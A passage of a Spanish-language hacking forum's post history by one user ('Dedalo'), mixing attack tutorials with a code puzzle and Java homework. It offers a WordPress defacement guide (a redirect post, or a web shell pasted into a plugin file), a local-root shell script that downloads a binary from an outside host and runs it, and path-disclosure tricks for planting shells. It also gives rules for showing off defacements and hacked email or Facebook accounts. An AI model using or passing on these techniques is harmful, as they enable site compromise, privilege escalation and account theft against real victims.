Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Dedalo

#81
Bugs y Exploits / Re:Atacando a un Wordpress
Junio 27, 2012, 03:55:54 PM
lo he cambiado a atacando pero aun asi el defacear es una referencia por las técnicas que pongo pero puede ser subir un .exe para infectar redireccionar el index a mi propio site para generarme visitas y mil cosas mas... en fin queda en decisión de cada uno que hacer.


Saludos,
Dedalo
#82
Bugs y Exploits / Atacando a un Wordpress
Junio 27, 2012, 03:45:32 PM
Bueno cuando hacer symlink o sacas algun tipo de inyección en un plugin de wordpress o le meter keylogger y le sacas el pass del wordpress algunos no saben como defacear el wordpress yo les voy a enseñar una forma o un par de formas mejor dicho de como los defaceamos...





Ya estamos en el panel de administración ahora veamos arriba del número 3 dice howdy admin al lado dice New Post ahi demos click


veremos algo parecido a esto:





lo que está señalado en rojo le damos click, osea donde dice html y agregamos este código:


Código: html5
<META HTTP-EQUIV="Refresh" CONTENT="3; URL=http://underc0de.org">


donde dice You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login cambienlo por la url donde esté su index... esta es una opcion ustedes hagan su html puede ser un iframe quizás o con lo que ustedes deseen, un javascript derrepente... lo que hacemos básicamente es crear un post con un contenido de redirección para al entrar al wordpress redireccione a nuestro index.



La otra manera es mas interesante...


Vemos que en la imagen en la parte 1 aparece un boton llamado plugins:




le damos click y veremos algo como esto:




pongan editar y aparecerá algo asi:




editamos ese php y ponemos el código de nuestra shell ahora ponemos Save File y...

luego ingresamos a:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Es Tu shell verdad?

Luego cambias el index del wordpress y ya OWNED!



Espero que Se haya entendido es bien fácil y pues no hagan lammeradas...



Saludos,
Dedalo
#83
No entiendo a que quieres llegar con este post, no es productivo, en todo caso ya hay tutoriales de sqli injection y también hay tutoriales de como usar Google Dorks.


Saludos,
Dedalo


[CIERRO TEMA]
#84
CitarPara Revivir la Zona de Bugs y Exploits y Para en General para medir el level de como vamos todos en lo que es seguridad y perspicacia Para poder dar cursos o tutoriales les voy a dejar un reto doble:

el primer reto es:

El siguiente código a que bug(s) es vulnerable:

Código: text
<?php

$a = $_GET['a'];

$j = (int) $_GET['b'];

$asd = "SELECT * FROM advisors WHERE id=$j";

$ad = mysql_query($asd);

while($ab = mysql_fetch_assoc($ad)){

echo $a;

echo $j;

}

?>



y el Segundo es:

CitarX+X+D+C = 452
K+L+B = 362
C+C+C+C = 404
L+7+5+8 = 463
F+D+X = ?



La Respuesta mandenmela por mensaje privado y si son correctas los pondré aquí editando el tema...


- Pendiente

- Pendiente

- Pendiente

- Pendiente



Saludos,
Dedalo



Esos eran los retos ahora les voy a indicar como se resolvian cada uno de ellos:


El primero era vulnerable a Xss

Código: php
$a = $_GET['a'];
echo $a;


no se limpiaba la variable $a



El segundo era 361

el primer número es la cantidad de caracteres

K+L+B = 3 caracteres
C+C+C+C = 4 caracteres


el segundo número era el numero de líneas rectas que tenían las letras:

K+L+B = 6 líneas rectas
C+C+C+C = 0 líneas rectas


y el último número eran las líneas curvas que tenian las letras:

K+L+B = 2 líneas curvas
C+C+C+C = 4 líneas curvas


por ende:

F+D+X = 361



Espero para la versión 2 la gente tenga mas ánimos de resolver el programa igual y los que mandaron sus respuestas muchas gracias casi todos me pusieron que era sqli y no es sqli les muestro:

Código: php
$j = (int) $_GET['b'];



se filtra con (int) para que no sea sqli.



Saludos,
Dedalo
#85
Muy bueno aun que la primera y la ultima se complementan demaciado ya que algo que esté con disallow en el robots jamas en la vida podrás encontrarlo con DORKS...


Saludos,
Dedalo
#86
Hubiese sido fácil poner el link del r00t expl0it compilado y ya ven ustedes como usarlo pero busqué otro code en bash y lo traté de adaptar, lo hice por ser buena gente... y sin embargo me he ganado un... No sabes Nada y te crees experto... Gracias U_U


Saludos,
Dedalo
#87
yo no me ofendo bro y que sepa php no significa que sepa todos los lenguajes, aquí yo no he venido a enseñar sino también para aprender y es que el problema radica en que cuando no me hace root me dice: No se puedo r00tear sigues siendo el usuario y nada mas... por otro lado si veo ofensiva la manera como te diriges y generalizas... diciendo que no se, además no he dicho por ningun lado que soy un experto, por otro lado, ya te explique este code estaba hecho para usar con el h0lly Shit me parece...  y el Avatar me lo hicieron yo no soy diseñador.


Saludos,
Dedalo
#88
pues que raro yo lo he testeado mas de 1 vez y nunca me ha tirado el error al compilarlo... y en cuanto a que yo lo haya hecho dice bien claro en el codigo:


Código: bash
# By n30-h4ck3r Edited Dedalo 4 Underc0de



El codigo era para r00tear con otro r00t expl0it h0llyShit Me parece... yo no lo he hecho pero que raro porque si me ha funcionado antes...



Saludos,
Dedalo
#89
Tenias razón disculpa es por lo que estaba en un word.


Saludos,
Dedalo
#90
De Nada ¬¬


Saludos,
Dedalo
#91
Bugs y Exploits / r00t Expl0it [Casi Todos Los 2011]
Junio 23, 2012, 03:26:29 AM
Bueno es simple este root expl0it ya está compilado yo solo he adaptado un .sh para que se ejecute bien.

Código: bash


#! / Bin / sh
# By n30-h4ck3r Edited Dedalo 4 Underc0de


checkroot function {
if ["$ (id-u)" = "0"]; then
cd ..;
rm-r underc0de;
echo "Eres r00t ";
exit;
else
echo "No se puedo r00tear sigues siendo el usuario" 'whoami';
echo "";
fi;
}

uname-a;
mkdir underc0de;
cd underc0de;
echo "Checking if already root ...";
checkroot;

wget http://alexoloughlinsplace.com/forum/NewDir/z1d-2011;
chmod 0777 z1d-2011;
./z1d-2011;
checkroot;



Sirve para casi todos los Kernels del 2011



Saludos,
Dedalo
#92
Bugs y Exploits / Obteniendo Path Disclosures
Junio 23, 2012, 03:18:42 AM
Esto de aquí es un tutorial muy pero muy simple sin embargo lo pongo porque a veces necesitamos los path para poder subir Shell en la SQLi o expl0tar mejor el LFI así que aquí les pongo las maneras que yo conosco:

1.- Comilla

Citar
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login'

Con ese método es muy probable que por no poder completar el query mande un error de la función y con el un path Disclosure.


2.- Array

CitarYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login[]=1

Con ese método lo que hacemos es crear un array en base a la variable "id" por lo que hace forzar un error, si está bien parseado el array no manda error de lo contrario... tendremos el path


3.- Cookie Nulling
CitarLo primero que hacemos es ver que cookies nos genera un site y en base a eso nos la nulleamos...

Vas a tu browser y pones en la url:

javascript:document.cookie = "nombredelacookie=;"


Espero les Sirva en algún momento...



Saludos,
Dedalo
#93
Muy bien explicado el tutorial, me gustaría complementarlo con este You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login en el cual se explica mejor como funcionan los ServerSideIncludes para asi poder hacer mejor las inyecciones, también me gustaría añadir que es un poco dificil encontrar sitios web que aun usen SSI porque este método ya es muy arcaico, tanto como encontrar activo el method PUT en los Http Headers, Igual y un gran +1 porque el tuto está muy bien explicado!


Saludos,
Dedalo
#94
Está muy bien explicado pero esto no es full source disclosure de hecho el término full source disclosure no se de donde sale ya que en las guías owasp no califica así... Esto mas estaría en la descarga de Archivos remotos de manera Arbitraria, o lo que entraría en owasp como un Resource Injection, Igual muchas gracias por compartir el conocimiento.


Saludos,
Dedalo
#95
Para que no se vuelva lammer y se pueda seguir un buen orden se podrán publicar las siguientes cosas:

1.- Si se trata de un Deface debe ser sitios q no dañen la integridad Social y Con un motivo.
2.- Si es r00t de un server la captura de pantalla debe contener una muestra de que son r00t en el server.
3.- Si es un mail o Facebook hackeado debe ser de alguien importante y/o deben ser mas de 10 a la vez.
4.- No se aceptan defaces que sean solo de una noticia o en webs no populares.




Formas de postear:

El titulo del mensaje debe tener entre corchetes el tipo de falla explotada y la url principal del sitio. Ej: [XSS] You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
El post debe contener:

Una imagen mostrando la falla
La url del sitio
Url en donde se realizo la inyeccion
Vector utilizado
Autor
Y si fue reportado o no la falla

Saludos,
Dedalo


PD: Cualquier ataque que no siga las normas automaticamente será borrado el post.
#96
Excelente aporte bro... muy bien Explicado!


+1


Saludos,
Dedalo
#97
Esto no es ping de la muerte ya que el ping de la muerte era con 65k de tamaño de buffer y ya no funciona desde windows 95... En cuando a lo que sigue esto no es ddos es dos porque no está distribuido entre variar personas. Mucha confusión en lo descrito en el Tema.


Saludos,
Dedalo
#98
Java / Algunos pequeños ejercicios en JAVA
Mayo 23, 2012, 02:54:24 PM
Estos ejercicios me los dejaron en la universidad se los doy en caso de que los necesiten ya los resolvi fue mi tarea...




1.   Una fábrica de gaseosas ha puesto en oferta la venta de su gaseosa de 3 litros ofreciendo un doble descuento del 7%. El primer descuento se aplica al importe de la compra. El segundo descuento se aplica al importe que se obtiene de restar el importe de la compra menos el importe del primer descuento. Además, como incentivo especial, obsequia dos caramelos por cada gaseosa adquirida. Dados el precio de la gaseosa y la cantidad de gaseosas adquiridas, diseñe un programa que determine el importe de la compra, el importe del descuento total, el importe a pagar y la cantidad de caramelos de obsequio.

2.   Una empresa ha decidido otorgar a sus vendedores una bonificación de S/. 50 por cada hijo en edad escolar. El sueldo básico es S/. 600. La comisión es igual al 7.5% del importe total vendido del mes. El sueldo bruto es igual a la suma de la bonificación, más el sueldo básico y más la comisión. Por ley, todo vendedor esta sujeto a un descuento del 11% del sueldo bruto. Dados el importe total vendido del mes y la cantidad de hijos en edad escolar, diseñe un programa que determine la bonificación, la comisión, el sueldo bruto, el descuento y el sueldo neto de un vendedor.

3.   Una empresa dedicada al alquiler de automóviles cobra por día de alquiler una tarifa determinada. Como oferta promocional, la empresa aplica un descuento igual al 15% del importe bruto. Además, la empresa obsequia 3 lapiceros más 2 caramelos por cada día de alquiler. Dados la tarifa y el número de días de alquiler de un automóvil, diseñe un programa que determine el importe bruto, el importe del descuento, el importe neto a pagar, la cantidad de lapiceros de obsequio y la cantidad de caramelos de obsequio.

4.   Una tienda ha puesto en oferta la venta de conos de CD de 100 unidades ofreciendo dos descuentos de 5%. El primer descuento se aplica al importe de la compra. El segundo descuento se aplica a la resta del importe de la compra menos el importe del primer descuento. Dados el precio del cono y la cantidad de conos adquiridos, diseñe un programa que determine el importe de la compra, el importe del descuento total y el importe a pagar.


________________


1.-
Código: java
import java.awt.event.*;
import java.awt.*;
import javax.swing.*;

public class Gaseosa extends JApplet implements ActionListener{
// Declaración de variables globales
JButton btnProcesar;
JTextArea txtS;
JLabel lblPrecioGaseosa, lblCantidadGaseosas;
JTextField txtPrecioGaseosa, txtCantidadGaseosas;
JScrollPane scpScroll;

// Crea la interfaz gráfica de usuario
public void init() {
getContentPane().setLayout(null);

lblPrecioGaseosa = new JLabel("Precio gaseosa (S/.)");
lblPrecioGaseosa.setBounds(15, 15, 140, 23);
getContentPane().add(lblPrecioGaseosa);

lblCantidadGaseosas = new JLabel("Cantidad de gaseosas");
lblCantidadGaseosas.setBounds(15, 39, 140, 23);
getContentPane().add(lblCantidadGaseosas);

txtPrecioGaseosa = new JTextField();
txtPrecioGaseosa.setBounds(155, 15, 120, 23);
getContentPane().add(txtPrecioGaseosa);

txtCantidadGaseosas = new JTextField();
txtCantidadGaseosas.setBounds(155, 39, 120, 23);
getContentPane().add(txtCantidadGaseosas);

btnProcesar = new JButton("Procesar");
btnProcesar.setBounds(365, 15, 100, 23);
btnProcesar.addActionListener(this);
getContentPane().add(btnProcesar);

txtS = new JTextArea();
txtS.setFont(new Font("monospaced", Font.PLAIN, 12));

scpScroll = new JScrollPane(txtS);
scpScroll.setBounds(15, 77, 450, 150);
getContentPane().add(scpScroll);
}

// Procesa eventos de tipo ActionEvent
public void actionPerformed( ActionEvent e ){

double pu, ic, d1, d2, dt, ip;
int cant, regalos;

pu = Double.parseDouble(txtPrecioGaseosa.getText());
cant = Integer.parseInt(txtCantidadGaseosas.getText());

ic = pu * cant;

d1 = ic * 0.07;

d2 = (ic - d1) * 0.07;

dt = d1 + d2;

ip = ic - dt;

regalos = cant * 2;

txtS.setText("Importe de la compra: "+ic+"\n");
txtS.append("Importe con Descuento: "+ip+"\n");
txtS.append("Caramelos: "+regalos+"\n");


}
}




2.-
Código: java
import java.awt.event.*;
import java.awt.*;
import javax.swing.*;

public class Empresa extends JApplet implements ActionListener{
// Declaración de variables globales
JButton btnProcesar;
JTextArea txtS;
JLabel lblImporteTotalVendido, lblNumeroHijos;
JTextField txtImporteTotalVendido, txtNumeroHijos;
JScrollPane scpScroll;

// Crea la interfaz gráfica de usuario
public void init() {
getContentPane().setLayout(null);

lblImporteTotalVendido = new JLabel("Importe total vendido (S/.)");
lblImporteTotalVendido.setBounds(15, 15, 150, 23);
getContentPane().add(lblImporteTotalVendido);

lblNumeroHijos = new JLabel("Numero de hijos");
lblNumeroHijos.setBounds(15, 39, 150, 23);
getContentPane().add(lblNumeroHijos);

txtImporteTotalVendido = new JTextField();
txtImporteTotalVendido.setBounds(170, 15, 120, 23);
getContentPane().add(txtImporteTotalVendido);

txtNumeroHijos = new JTextField();
txtNumeroHijos.setBounds(170, 39, 120, 23);
getContentPane().add(txtNumeroHijos);

btnProcesar = new JButton("Procesar");
btnProcesar.setBounds(365, 15, 100, 23);
btnProcesar.addActionListener(this);
getContentPane().add(btnProcesar);

txtS = new JTextArea();
txtS.setFont(new Font("monospaced", Font.PLAIN, 12));

scpScroll = new JScrollPane(txtS);
scpScroll.setBounds(15, 77, 450, 150);
getContentPane().add(scpScroll);
}

// Procesa eventos de tipo ActionEvent
public void actionPerformed( ActionEvent e ){

double it, comi, descsubru, subru, total;
int ch, hijos;

ch = Integer.parseInt(txtNumeroHijos.getText());
it = Double.parseDouble(txtImporteTotalVendido.getText());

comi = it * 0.075;
hijos = 50 * ch;

subru = 600 + comi + hijos;

descsubru = subru * 0.11;

total = subru - descsubru;

txtS.setText ("Bonificacion: "+hijos+"\n");
txtS.append ("Comision: "+comi+"\n");
txtS.append ("Sueldo Bruto: "+subru+"\n");
txtS.append ("Descuento: "+descsubru+"\n");
txtS.append ("Neto: "+total+"\n");





}
}




3.-
Código: java
import java.awt.event.*;
import java.awt.*;
import javax.swing.*;

public class Alquiler extends JApplet implements ActionListener{
// Declaración de variables globales
JButton btnProcesar;
JTextArea txtS;
JLabel lblTarifaDia, lblDiasAlquiler;
JTextField txtTarifaDia, txtDiasAlquiler;
JScrollPane scpScroll;

// Crea la interfaz gráfica de usuario
public void init() {
getContentPane().setLayout(null);

lblTarifaDia = new JLabel("Tarifa por día (S/.)");
lblTarifaDia.setBounds(15, 15, 140, 23);
getContentPane().add(lblTarifaDia);

lblDiasAlquiler = new JLabel("Días de alquiler");
lblDiasAlquiler.setBounds(15, 39, 140, 23);
getContentPane().add(lblDiasAlquiler);

txtTarifaDia = new JTextField();
txtTarifaDia.setBounds(155, 15, 120, 23);
getContentPane().add(txtTarifaDia);

txtDiasAlquiler = new JTextField();
txtDiasAlquiler.setBounds(155, 39, 120, 23);
getContentPane().add(txtDiasAlquiler);

btnProcesar = new JButton("Procesar");
btnProcesar.setBounds(365, 15, 100, 23);
btnProcesar.addActionListener(this);
getContentPane().add(btnProcesar);

txtS = new JTextArea();
txtS.setFont(new Font("monospaced", Font.PLAIN, 12));

scpScroll = new JScrollPane(txtS);
scpScroll.setBounds(15, 77, 450, 150);
getContentPane().add(scpScroll);
}

// Procesa eventos de tipo ActionEvent
public void actionPerformed( ActionEvent e ){

double tarifa, td, desc, total;
int dias, ob1, ob2;

dias = Integer.parseInt(txtDiasAlquiler.getText());
tarifa = Double.parseDouble(txtTarifaDia.getText());

td = tarifa * dias;
desc = td * 0.15;
total = td - desc;


ob1 = dias * 3;
ob2 = dias * 2;

txtS.setText ("Importe Bruto: "+td+"\n");
txtS.append ("Descuento: "+desc+"\n");
txtS.append ("total: "+total+"\n");
txtS.append ("Lapiceros: "+ob1+"\n");
txtS.append ("Caramelos: "+ob2);


}
}




4.-
Código: java
import java.awt.event.*;
import java.awt.*;
import javax.swing.*;

public class Tienda extends JApplet implements ActionListener{
// Declaración de variables globales
JButton btnProcesar;
JTextArea txtS;
JLabel lblPrecioCono, lblCantidadConos;
JTextField txtPrecioCono, txtCantidadConos;
JScrollPane scpScroll;

// Crea la interfaz gráfica de usuario
public void init() {
getContentPane().setLayout(null);

lblPrecioCono = new JLabel("Precio del cono (S/.)");
lblPrecioCono.setBounds(15, 15, 140, 23);
getContentPane().add(lblPrecioCono);

lblCantidadConos = new JLabel("Cantidad de conos");
lblCantidadConos.setBounds(15, 39, 140, 23);
getContentPane().add(lblCantidadConos);

txtPrecioCono = new JTextField();
txtPrecioCono.setBounds(155, 15, 120, 23);
getContentPane().add(txtPrecioCono);

txtCantidadConos = new JTextField();
txtCantidadConos.setBounds(155, 39, 120, 23);
getContentPane().add(txtCantidadConos);

btnProcesar = new JButton("Procesar");
btnProcesar.setBounds(365, 15, 100, 23);
btnProcesar.addActionListener(this);
getContentPane().add(btnProcesar);

txtS = new JTextArea();
txtS.setFont(new Font("monospaced", Font.PLAIN, 12));

scpScroll = new JScrollPane(txtS);
scpScroll.setBounds(15, 77, 450, 150);
getContentPane().add(scpScroll);
}

// Procesa eventos de tipo ActionEvent
public void actionPerformed( ActionEvent e ){

Double pc, ic, d1, d2, dt, ip;
int cant;

cant = Integer.parseInt(txtCantidadConos.getText());
pc = Double.parseDouble(txtPrecioCono.getText());

ic = pc * cant;

d1 = ic * 0.05;

d2 = (ic - d1) * 0.05;

dt = d1 + d2;

ip = ic - dt;

txtS.setText("Importe de la Compra: "+ic+"\n");
txtS.append ("Importe descuento: "+dt+"\n");
txtS.append ("Importe Total: "+ip+"\n");



}
}




Saludos,
Dedalo
#99
Bugs y Exploits / Re:Tutorial Sqli Manual By Okol
Mayo 21, 2012, 06:19:49 PM
Muy bueno okol pero no me fastidiarían los gr33tz bro... tu sabes a que me refiero ¬¬


Saludos,
Dedalo
#100
Bugs y Exploits / Re:Symlink con la tool
Mayo 21, 2012, 02:35:25 PM
Simple y Claro... solo para que no se confundan el archivo se llama .htaccess mo .htacces


Saludos,
Dedalo